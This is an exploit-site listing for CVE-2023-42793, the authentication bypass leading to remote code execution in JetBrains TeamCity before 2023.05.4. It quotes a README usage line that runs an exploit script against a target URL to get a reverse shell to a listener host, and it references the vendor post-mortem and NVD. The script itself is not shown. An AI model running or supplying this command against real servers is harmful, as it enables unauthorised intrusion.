Exploit for Authentication Bypass Using an Alternate Path or Channel in Jetbrains Teamcity CVE-2023-42793

Name: Exploit for Authentication Bypass Using an Alternate Path or Channel in Jetbrains Teamcity CVE-2023-42793
Rating: 5 (121 reviews)

2024-04-21 | CVSS 9.8

## https://sploitus.com/exploit?id=57EB88FC-CCBE-5EE0-9A8C-E011DB2158AB
# CVE-2023-42793
JetBrains TeamCity before 2023.05.4 is vulnerable to authentication bypass leading to RCE

# Usage
To get a reverse shell
```bash
python3 exploit.py <target_url> <listener_ip> <listener_port>
```

# References
https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/</br>
http://packetstormsecurity.com/files/174860/JetBrains-TeamCity-Unauthenticated-Remote-Code-Execution.html</br>
https://nvd.nist.gov/vuln/detail/cve-2023-42793